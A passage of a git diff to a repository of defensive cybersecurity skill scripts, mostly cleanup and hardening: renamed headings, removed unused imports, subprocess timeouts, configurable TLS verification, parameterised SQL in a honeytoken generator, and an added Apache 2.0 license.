Encrypted/password-protected attachments - Multi-stage payloads with delayed C2 retrieval -## Implementation Steps +## Workflow ### Step 1: Configure TAP in Proofpoint - Enable TAP for inbound email policy diff --git a/skills/implementing-email-security-with-dmarc-dkim-spf.bak/LICENSE b/skills/implementing-email-security-with-dmarc-dkim-spf.bak/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/implementing-email-security-with-dmarc-dkim-spf.bak/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/implementing-email-security-with-dmarc-dkim-spf/SKILL.md b/skills/implementing-email-security-with-dmarc-dkim-spf.bak/SKILL.md similarity index 100% rename from skills/implementing-email-security-with-dmarc-dkim-spf/SKILL.md rename to skills/implementing-email-security-with-dmarc-dkim-spf.bak/SKILL.md diff --git a/skills/implementing-email-security-with-dmarc-dkim-spf/references/api-reference.md b/skills/implementing-email-security-with-dmarc-dkim-spf.bak/references/api-reference.md similarity index 100% rename from skills/implementing-email-security-with-dmarc-dkim-spf/references/api-reference.md rename to skills/implementing-email-security-with-dmarc-dkim-spf.bak/references/api-reference.md diff --git a/skills/implementing-email-security-with-dmarc-dkim-spf/scripts/agent.py b/skills/implementing-email-security-with-dmarc-dkim-spf.bak/scripts/agent.py similarity index 100% rename from skills/implementing-email-security-with-dmarc-dkim-spf/scripts/agent.py rename to skills/implementing-email-security-with-dmarc-dkim-spf.bak/scripts/agent.py diff --git a/skills/implementing-end-to-end-encryption-for-messaging/scripts/agent.py b/skills/implementing-end-to-end-encryption-for-messaging/scripts/agent.py index b39ca033..7840b2c3 100644 --- a/skills/implementing-end-to-end-encryption-for-messaging/scripts/agent.py +++ b/skills/implementing-end-to-end-encryption-for-messaging/scripts/agent.py @@ -4,7 +4,6 @@ import json import argparse import os -from datetime import datetime try: from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey, X25519PublicKey diff --git a/skills/implementing-endpoint-detection-with-wazuh/scripts/agent.py b/skills/implementing-endpoint-detection-with-wazuh/scripts/agent.py index e4abc133..1eabc9d6 100644 --- a/skills/implementing-endpoint-detection-with-wazuh/scripts/agent.py +++ b/skills/implementing-endpoint-detection-with-wazuh/scripts/agent.py @@ -38,7 +38,7 @@ class WazuhDetectionAgent: resp = requests.post( f"{self.base_url}/security/user/authenticate", auth=HTTPBasicAuth(username, password), - verify=False, timeout=10, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=10, # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments ) if resp.status_code == 200: return resp.json().get("data", {}).get("token") @@ -53,7 +53,7 @@ class WazuhDetectionAgent: resp = requests.request( method, f"{self.base_url}{path}", headers={"Authorization": f"Bearer {self.token}"}, - params=params, json=data, verify=False, timeout=15, + params=params, json=data, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=15, # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments ) return resp.json() if resp.status_code == 200 else None except requests.RequestException: diff --git a/skills/implementing-endpoint-dlp-controls/scripts/agent.py b/skills/implementing-endpoint-dlp-controls/scripts/agent.py index 7f9f9ae0..50e18f02 100644 --- a/skills/implementing-endpoint-dlp-controls/scripts/agent.py +++ b/skills/implementing-endpoint-dlp-controls/scripts/agent.py @@ -6,7 +6,6 @@ import argparse import re from datetime import datetime from pathlib import Path -from collections import Counter, defaultdict SENSITIVE_PATTERNS = { diff --git a/skills/implementing-envelope-encryption-with-aws-kms/scripts/agent.py b/skills/implementing-envelope-encryption-with-aws-kms/scripts/agent.py index 3b20a8d3..4043d052 100644 --- a/skills/implementing-envelope-encryption-with-aws-kms/scripts/agent.py +++ b/skills/implementing-envelope-encryption-with-aws-kms/scripts/agent.py @@ -5,7 +5,6 @@ import json import argparse import os import base64 -from datetime import datetime try: import boto3 diff --git a/skills/implementing-epss-score-for-vulnerability-prioritization/scripts/agent.py b/skills/implementing-epss-score-for-vulnerability-prioritization/scripts/agent.py index 90076814..fdfffff4 100644 --- a/skills/implementing-epss-score-for-vulnerability-prioritization/scripts/agent.py +++ b/skills/implementing-epss-score-for-vulnerability-prioritization/scripts/agent.py @@ -4,8 +4,6 @@ import json import argparse import csv -from datetime import datetime -from io import StringIO try: import requests diff --git a/skills/implementing-file-integrity-monitoring-with-aide/scripts/agent.py b/skills/implementing-file-integrity-monitoring-with-aide/scripts/agent.py index 2f23204f..38a24be9 100644 --- a/skills/implementing-file-integrity-monitoring-with-aide/scripts/agent.py +++ b/skills/implementing-file-integrity-monitoring-with-aide/scripts/agent.py @@ -7,7 +7,6 @@ import re import subprocess import argparse from datetime import datetime -from collections import defaultdict AIDE_RULE_SETS = { "critical_binaries": { @@ -102,7 +101,8 @@ def initialize_baseline(): if result.returncode == 0: subprocess.run( ["cp", "/var/lib/aide/aide.db.new", "/var/lib/aide/aide.db"], - capture_output=True, text=True + capture_output=True, text=True, + timeout=120, ) return {"status": "success", "output": result.stdout[:500]} return {"status": "error", "stderr": result.stderr[:500]} diff --git a/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/SKILL.md b/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/SKILL.md index d91621c9..2e511118 100644 --- a/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/SKILL.md +++ b/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/SKILL.md @@ -62,7 +62,7 @@ int main() { } ``` -## Implementation Steps +## Workflow ### Step 1 --- Build the Fuzzing Harness diff --git a/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/scripts/agent.py b/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/scripts/agent.py index 27b78002..d234c0fb 100644 --- a/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/scripts/agent.py +++ b/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/scripts/agent.py @@ -5,8 +5,6 @@ import json import argparse import subprocess import os -import shutil -from datetime import datetime from pathlib import Path diff --git a/skills/implementing-gdpr-data-protection-controls/SKILL.md b/skills/implementing-gdpr-data-protection-controls/SKILL.md index 4127acda..6801125e 100644 --- a/skills/implementing-gdpr-data-protection-controls/SKILL.md +++ b/skills/implementing-gdpr-data-protection-controls/SKILL.md @@ -57,7 +57,7 @@ The regulation requires organizations to implement measures appropriate to the r | Right to object | 21 | Object to processing (especially direct marketing) | | Automated decision-making | 22 | Not be subject to solely automated decisions | -## Implementation Steps +## Workflow ### Phase 1: Data Mapping and Assessment (Weeks 1-6) 1. Create comprehensive data inventory: diff --git a/skills/implementing-gdpr-data-protection-controls/scripts/agent.py b/skills/implementing-gdpr-data-protection-controls/scripts/agent.py index 18e65a44..37e7f9b4 100644 --- a/skills/implementing-gdpr-data-protection-controls/scripts/agent.py +++ b/skills/implementing-gdpr-data-protection-controls/scripts/agent.py @@ -2,11 +2,10 @@ """Agent for assessing and managing GDPR data protection compliance.""" import json -import csv import argparse import re -from datetime import datetime, timedelta -from collections import Counter, defaultdict +from datetime import datetime +from collections import Counter GDPR_ARTICLES = { diff --git a/skills/implementing-github-advanced-security-for-code-scanning/SKILL.md b/skills/implementing-github-advanced-security-for-code-scanning/SKILL.md index 09b9482d..9a712abb 100644 --- a/skills/implementing-github-advanced-security-for-code-scanning/SKILL.md +++ b/skills/implementing-github-advanced-security-for-code-scanning/SKILL.md @@ -38,7 +38,7 @@ CodeQL compiles source code into a queryable database, then executes security-fo For enterprises managing hundreds of repositories, GHAS supports configuring code scanning at scale using the organization-level security overview. Administrators can enable default setup across all eligible repositories, define custom security configurations, and monitor adoption through the security coverage dashboard. -## Implementation Steps +## Workflow ### Step 1 --- Enable GHAS on the Organization diff --git a/skills/implementing-google-workspace-phishing-protection/SKILL.md b/skills/implementing-google-workspace-phishing-protection/SKILL.md index aadb1605..814b6c20 100644 --- a/skills/implementing-google-workspace-phishing-protection/SKILL.md +++ b/skills/implementing-google-workspace-phishing-protection/SKILL.md @@ -20,7 +20,7 @@ Google Workspace provides advanced phishing and malware protection through the A - Access to Google Admin Console (admin.google.com) - DNS management access for SPF, DKIM, DMARC configuration -## Implementation Steps +## Workflow ### Step 1: Configure Advanced Phishing Protection - Navigate to Admin Console > Apps > Google Workspace > Gmail > Safety diff --git a/skills/implementing-google-workspace-sso-configuration/SKILL.md b/skills/implementing-google-workspace-sso-configuration/SKILL.md index b6466b8f..2c37297a 100644 --- a/skills/implementing-google-workspace-sso-configuration/SKILL.md +++ b/skills/implementing-google-workspace-sso-configuration/SKILL.md @@ -57,7 +57,7 @@ User navigates to Google Workspace app (Gmail, Drive, etc.) | NameID Value | User's primary Google Workspace email | | Binding | HTTP-POST (for ACS), HTTP-Redirect (for SSO URL) | -## Implementation Steps +## Workflow ### Step 1: Prepare the Identity Provider diff --git a/skills/implementing-google-workspace-sso-configuration/scripts/agent.py b/skills/implementing-google-workspace-sso-configuration/scripts/agent.py index a5c0a91f..2ed7172b 100644 --- a/skills/implementing-google-workspace-sso-configuration/scripts/agent.py +++ b/skills/implementing-google-workspace-sso-configuration/scripts/agent.py @@ -3,14 +3,11 @@ import json import argparse -import subprocess -import re from datetime import datetime from pathlib import Path try: from cryptography import x509 - from cryptography.hazmat.primitives import serialization except ImportError: x509 = None diff --git a/skills/implementing-honeytokens-for-breach-detection/scripts/agent.py b/skills/implementing-honeytokens-for-breach-detection/scripts/agent.py index 47166dd3..fd44839f 100644 --- a/skills/implementing-honeytokens-for-breach-detection/scripts/agent.py +++ b/skills/implementing-honeytokens-for-breach-detection/scripts/agent.py @@ -8,8 +8,12 @@ import hashlib import argparse from datetime import datetime +import re + import requests +_SAFE_TABLE_RE = re.compile(r'^[a-zA-Z_][a-zA-Z0-9_]*$') + def create_dns_canarytoken(email, memo, webhook_url=None): """Create a DNS canary token via Canarytokens.org API.""" @@ -79,6 +83,8 @@ def deploy_aws_credential_token(target_path, canary_key_id, canary_secret): def deploy_database_honeytoken(db_connection_string, table_name="users"): """Generate SQL to insert honeytoken records into a database.""" + if not _SAFE_TABLE_RE.match(table_name): + raise ValueError(f"Invalid table name: {table_name!r}") token_id = generate_honeytoken_id() fake_users = [ { @@ -97,11 +103,13 @@ def deploy_database_honeytoken(db_connection_string, table_name="users"): sql_statements = [] for user in fake_users: sql = ( - f"INSERT INTO {table_name} (username, email, role, api_key) " - f"VALUES ('{user['username']}', '{user['email']}', " - f"'{user['role']}', '{user['api_key']}');" + f"INSERT INTO [{table_name}] (username, email, role, api_key) " + "VALUES (?, ?, ?, ?);" ) - sql_statements.append(sql) + sql_statements.append({ + "query": sql, + "params": [user["username"], user["email"], user["role"], user["api_key"]], + }) return {"token_id": token_id, "sql_statements": sql_statements, "records": fake_users} diff --git a/skills/implementing-ics-firewall-with-tofino/scripts/agent.py b/skills/implementing-ics-firewall-with-tofino/scripts/agent.py index ae8e786c..cac9aede 100644 --- a/skills/implementing-ics-firewall-with-tofino/scripts/agent.py +++ b/skills/implementing-ics-firewall-with-tofino/scripts/agent.py @@ -3,9 +3,8 @@ import json import argparse -import re from datetime import datetime -from collections import Counter, defaultdict +from collections import Counter OT_PROTOCOLS = { diff --git a/skills/implementing-identity-governance-with-sailpoint/scripts/agent.py b/skills/implementing-identity-governance-with-sailpoint/scripts/agent.py index d6630f4a..a47f8e9e 100644 --- a/skills/implementing-identity-governance-with-sailpoint/scripts/agent.py +++ b/skills/implementing-identity-governance-with-sailpoint/scripts/agent.py @@ -3,7 +3,7 @@ import json import argparse -from datetime import datetime, timedelta +from datetime import datetime from collections import Counter try: diff --git a/skills/implementing-identity-verification-for-zero-trust/SKILL.md b/skills/implementing-identity-verification-for-zero-trust/SKILL.md index fd2090b6..5295fba2 100644 --- a/skills/implementing-identity-verification-for-zero-trust/SKILL.md +++ b/skills/implementing-identity-verification-for-zero-trust/SKILL.md @@ -1,6 +1,6 @@ --- name: implementing-identity-verification-for-zero-trust -description: Implementing Identity Verification For Zero Trust +description: Implement continuous identity verification for zero trust using phishing-resistant MFA (FIDO2/WebAuthn), risk-based conditional access, and identity governance aligned with the CISA Zero Trust Maturity Model. domain: cybersecurity subdomain: security-operations tags: [cybersecurity] @@ -95,7 +95,7 @@ Conditional access policies evaluate multiple signals (user risk level, sign-in ### Identity Threat Detection AI-driven analytics detect compromised identities through impossible travel detection, anomalous sign-in patterns, credential stuffing detection, and token replay attacks. -## Procedure +## Workflow ### Phase 1: Identity Infrastructure diff --git a/skills/implementing-iec-62443-security-zones/scripts/agent.py b/skills/implementing-iec-62443-security-zones/scripts/agent.py index 99919ec1..34953513 100644 --- a/skills/implementing-iec-62443-security-zones/scripts/agent.py +++ b/skills/implementing-iec-62443-security-zones/scripts/agent.py @@ -4,7 +4,6 @@ import json import argparse from datetime import datetime -from collections import Counter PURDUE_LEVELS = { diff --git a/skills/implementing-immutable-backup-with-restic/scripts/agent.py b/skills/implementing-immutable-backup-with-restic/scripts/agent.py index 352377dc..7fe6620e 100644 --- a/skills/implementing-immutable-backup-with-restic/scripts/agent.py +++ b/skills/implementing-immutable-backup-with-restic/scripts/agent.py @@ -14,8 +14,7 @@ import argparse import subprocess import tempfile import shutil -from pathlib import Path -from datetime import datetime, timezone, timedelta +from datetime import datetime, timezone logging.basicConfig( level=logging.INFO, diff --git a/skills/implementing-iso-27001-information-security-management/SKILL.md b/skills/implementing-iso-27001-information-security-management/SKILL.md index fdc4d84a..ca6d050b 100644 --- a/skills/implementing-iso-27001-information-security-management/SKILL.md +++ b/skills/implementing-iso-27001-information-security-management/SKILL.md @@ -56,7 +56,7 @@ The 2022 revision restructured 93 controls into four categories: 10. A.8.23 - Web Filtering 11. A.8.28 - Secure Coding -## Implementation Steps +## Workflow ### Phase 1: Gap Analysis and Scoping (Weeks 1-4) 1. Define ISMS scope boundaries (locations, business units, systems) diff --git a/skills/implementing-just-in-time-access-provisioning/SKILL.md b/skills/implementing-just-in-time-access-provisioning/SKILL.md index 65914266..0158ccad 100644 --- a/skills/implementing-just-in-time-access-provisioning/SKILL.md +++ b/skills/implementing-just-in-time-access-provisioning/SKILL.md @@ -35,7 +35,7 @@ Implement Just-In-Time (JIT) access provisioning to eliminate standing privilege - Access automatically expires after defined time window - All access events logged and auditable -## Implementation Steps +## Workflow ### Step 1: Identify Eligible Access Types - Privileged admin access (domain admin, root, DBA) diff --git a/skills/implementing-just-in-time-access-provisioning/scripts/agent.py b/skills/implementing-just-in-time-access-provisioning/scripts/agent.py index 0e93575c..7cb6840a 100644 --- a/skills/implementing-just-in-time-access-provisioning/scripts/agent.py +++ b/skills/implementing-just-in-time-access-provisioning/scripts/agent.py @@ -3,7 +3,7 @@ import json import argparse -from datetime import datetime, timedelta +from datetime import datetime from collections import Counter diff --git a/skills/implementing-jwt-signing-and-verification/scripts/agent.py b/skills/implementing-jwt-signing-and-verification/scripts/agent.py index dc33eae2..901be9f9 100644 --- a/skills/implementing-jwt-signing-and-verification/scripts/agent.py +++ b/skills/implementing-jwt-signing-and-verification/scripts/agent.py @@ -10,9 +10,9 @@ import time from datetime import datetime try: - from cryptography.hazmat.primitives.asymmetric import rsa, ec, ed25519 - from cryptography.hazmat.primitives import hashes, serialization - from cryptography.hazmat.primitives.asymmetric import padding, utils + from cryptography.hazmat.primitives.asymmetric import rsa + from cryptography.hazmat.primitives import serialization + from cryptography.hazmat.primitives.asymmetric import padding HAS_CRYPTO = True except ImportError: HAS_CRYPTO = False diff --git a/skills/implementing-kubernetes-network-policy-with-calico/scripts/agent.py b/skills/implementing-kubernetes-network-policy-with-calico/scripts/agent.py index b2421a3e..ac779167 100644 --- a/skills/implementing-kubernetes-network-policy-with-calico/scripts/agent.py +++ b/skills/implementing-kubernetes-network-policy-with-calico/scripts/agent.py @@ -4,9 +4,7 @@ import json import argparse import subprocess -import yaml from datetime import datetime -from collections import Counter def kubectl_get(resource, namespace=None, label_selector=None): diff --git a/skills/implementing-kubernetes-pod-security-standards/SKILL.md b/skills/implementing-kubernetes-pod-security-standards/SKILL.md index 2936b9b1..c0e5fa15 100644 --- a/skills/implementing-kubernetes-pod-security-standards/SKILL.md +++ b/skills/implementing-kubernetes-pod-security-standards/SKILL.md @@ -38,7 +38,7 @@ Pod Security Standards (PSS) define three levels of security policies -- Privile | **audit** | Logs violations in audit log but allows pod | | **warn** | Returns warning to user but allows pod | -## Implementation Steps +## Workflow ### Step 1: Label Namespaces for PSA diff --git a/skills/implementing-log-forwarding-with-fluentd/scripts/agent.py b/skills/implementing-log-forwarding-with-fluentd/scripts/agent.py index cb6a4020..9ec0f563 100644 --- a/skills/implementing-log-forwarding-with-fluentd/scripts/agent.py +++ b/skills/implementing-log-forwarding-with-fluentd/scripts/agent.py @@ -4,7 +4,6 @@ import json import argparse import socket -import struct import time from datetime import datetime diff --git a/skills/implementing-log-integrity-with-blockchain/SKILL.md b/skills/implementing-log-integrity-with-blockchain/SKILL.md index 0d9b4040..7108bc95 100644 --- a/skills/implementing-log-integrity-with-blockchain/SKILL.md +++ b/skills/implementing-log-integrity-with-blockchain/SKILL.md @@ -14,6 +14,9 @@ author: mahipal license: Apache-2.0 --- + +# Implementing Log Integrity with Blockchain + ## Instructions 1. Install dependencies: `pip install requests` diff --git a/skills/implementing-memory-protection-with-dep-aslr/scripts/agent.py b/skills/implementing-memory-protection-with-dep-aslr/scripts/agent.py index ffa1956e..91d33af8 100644 --- a/skills/implementing-memory-protection-with-dep-aslr/scripts/agent.py +++ b/skills/implementing-memory-protection-with-dep-aslr/scripts/agent.py @@ -5,7 +5,6 @@ import json import argparse import logging import subprocess -import re import os from datetime import datetime @@ -16,7 +15,7 @@ logger = logging.getLogger(__name__) def check_windows_dep_policy(): """Check Windows DEP/NX policy via bcdedit.""" cmd = ["bcdedit", "/enum", "{current}"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) dep_policy = "unknown" for line in result.stdout.split("\n"): if "nx" in line.lower(): @@ -30,7 +29,7 @@ def check_windows_process_mitigations(): "Get-Process | ForEach-Object { try { $m = Get-ProcessMitigation -Id $_.Id -ErrorAction Stop; " "[PSCustomObject]@{Name=$_.Name;PID=$_.Id;DEP=$m.DEP.Enable;ASLR=$m.ASLR.ForceRelocateImages;" "CFG=$m.CFG.Enable;StrictHandle=$m.StrictHandle.Enable} } catch {} } | ConvertTo-Json"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) try: processes = json.loads(result.stdout) if result.stdout else [] if isinstance(processes, dict): @@ -53,25 +52,25 @@ def check_linux_aslr(): def check_linux_nx_support(): """Check NX bit support on Linux.""" - result = subprocess.run(["grep", "nx", "/proc/cpuinfo"], capture_output=True, text=True) + result = subprocess.run(["grep", "nx", "/proc/cpuinfo"], capture_output=True, text=True, timeout=120) return {"nx_supported": "nx" in result.stdout.lower()} def check_elf_pie_relro(binary_path): """Check ELF binary for PIE, RELRO, stack canary, and NX using readelf/checksec.""" findings = {"binary": binary_path, "pie": False, "relro": "none", "nx": False, "canary": False} - readelf_cmd = subprocess.run(["readelf", "-h", binary_path], capture_output=True, text=True) + readelf_cmd = subprocess.run(["readelf", "-h", binary_path], capture_output=True, text=True, timeout=120) if "DYN" in readelf_cmd.stdout: findings["pie"] = True - readelf_d = subprocess.run(["readelf", "-d", binary_path], capture_output=True, text=True) + readelf_d = subprocess.run(["readelf", "-d", binary_path], capture_output=True, text=True, timeout=120) if "BIND_NOW" in readelf_d.stdout: findings["relro"] = "full" elif "GNU_RELRO" in readelf_d.stdout: findings["relro"] = "partial" - readelf_s = subprocess.run(["readelf", "-s", binary_path], capture_output=True, text=True) + readelf_s = subprocess.run(["readelf", "-s", binary_path], capture_output=True, text=True, timeout=120) if "__stack_chk_fail" in readelf_s.stdout: findings["canary"] = True - readelf_l = subprocess.run(["readelf", "-l", binary_path], capture_output=True, text=True) + readelf_l = subprocess.run(["readelf", "-l", binary_path], capture_output=True, text=True, timeout=120) for line in readelf_l.stdout.split("\n"): if "GNU_STACK" in line and "RWE" not in line: findings["nx"] = True diff --git a/skills/implementing-microsegmentation-with-guardicore/scripts/agent.py b/skills/implementing-microsegmentation-with-guardicore/scripts/agent.py index 30370927..6a3715a2 100644 --- a/skills/implementing-microsegmentation-with-guardicore/scripts/agent.py +++ b/skills/implementing-microsegmentation-with-guardicore/scripts/agent.py @@ -4,6 +4,7 @@ import json import argparse import logging +import os import subprocess from collections import defaultdict from datetime import datetime @@ -11,7 +12,7 @@ from datetime import datetime logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) -GC_API = "https://gc-centra.example.com/api/v3.0" +GC_API = os.environ.get("GUARDICORE_API_URL", "https://gc-centra.example.com/api/v3.0") def gc_request(api_url, token, endpoint, method="GET", data=None): @@ -21,7 +22,7 @@ def gc_request(api_url, token, endpoint, method="GET", data=None): f"{api_url}{endpoint}"] if data: cmd.extend(["-d", json.dumps(data)]) - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) return json.loads(result.stdout) if result.stdout else {} diff --git a/skills/implementing-mimecast-targeted-attack-protection/SKILL.md b/skills/implementing-mimecast-targeted-attack-protection/SKILL.md index 60d48172..836f7a3d 100644 --- a/skills/implementing-mimecast-targeted-attack-protection/SKILL.md +++ b/skills/implementing-mimecast-targeted-attack-protection/SKILL.md @@ -40,7 +40,7 @@ Mimecast Targeted Threat Protection (TTP) is a suite of advanced email security - **Pre-Delivery Action (Hold)**: URLs checked before message delivery; held if suspicious - **Pre-Delivery Action (None)**: URLs checked pre-delivery but not held -## Implementation Steps +## Workflow ### Step 1: Configure URL Protect Policy - Navigate to Administration > Gateway > Policies > Targeted Threat Protection - URL Protect diff --git a/skills/implementing-mimecast-targeted-attack-protection/scripts/agent.py b/skills/implementing-mimecast-targeted-attack-protection/scripts/agent.py index 79a151bb..f5d89ccd 100644 --- a/skills/implementing-mimecast-targeted-attack-protection/scripts/agent.py +++ b/skills/implementing-mimecast-targeted-attack-protection/scripts/agent.py @@ -3,19 +3,20 @@ import json import argparse -import logging -import subprocess +import base64 import hashlib import hmac -import base64 +import logging +import os +import subprocess import uuid -from datetime import datetime from collections import defaultdict +from datetime import datetime logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) -MIMECAST_BASE = "https://us-api.mimecast.com" +MIMECAST_BASE = os.environ.get("MIMECAST_BASE_URL", "https://us-api.mimecast.com") def mimecast_request(base_url, app_id, app_key, access_key, secret_key, endpoint, data=None): @@ -37,7 +38,7 @@ def mimecast_request(base_url, app_id, app_key, access_key, secret_key, endpoint cmd.extend(["-H", f"{k}: {v}"]) if data: cmd.extend(["-d", json.dumps({"data": [data]})]) - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) return json.loads(result.stdout) if result.stdout else {} diff --git a/skills/implementing-mobile-application-management/scripts/agent.py b/skills/implementing-mobile-application-management/scripts/agent.py index 507be15a..f057f604 100644 --- a/skills/implementing-mobile-application-management/scripts/agent.py +++ 